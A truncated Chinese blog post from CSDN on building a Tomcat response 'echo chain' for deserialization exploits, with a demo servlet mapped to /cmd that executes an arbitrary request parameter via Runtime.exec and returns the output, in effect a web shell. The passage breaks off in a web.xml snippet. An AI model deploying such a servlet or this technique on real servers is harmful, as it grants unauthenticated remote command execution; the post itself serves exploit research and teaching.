tomcat回显链

本文深入探讨了在Tomcat中,如何在反序列化漏洞背景下,通过反射获取HttpServletRequest和HttpServletResponse的内容,形成数据回显链。通过分析Servlet的执行流程,展示了从Request到Response的传递路径,并找到了利用点。
摘要由CSDN通过智能技术生成

Demo

package com.naihe;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;

@WebServlet("/cmd")
public class tomcat extends HttpServlet {
   
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException, IOException {
   
        String cmd = req.getParameter("cmd");
        InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
        BufferedInputStream bis = new BufferedInputStream(is);
        int len;
        while ((len = bis.read())!=-1){
   
            resp.getWriter().write(len);
        }
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
   
        this.doGet(req,resp);

    }
}

在这里插入图片描述

当看到这里应该会有人回想,就这?不就是servlet加命令执行么,确实如此,但本文主要讨论的是在反序列化的情况下,如何进行数据回显,因为在反序列化漏洞中无法直接调用HttpServletRequest和HttpServletResponse,只能通过反射获取Request和Response中的内容,上面的代码只是为了方便我们去挖掘和分析Request和Response的传递过程,分析出一条回显链

这里的@WebServlet("/cmd")需要开注解路由,在web.xml配置如下

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xmlns="http://xmlns.jcp.org/xml/ns/javaee"
    xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
    id="WebApp_ID" metadata-complete="false" version=
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值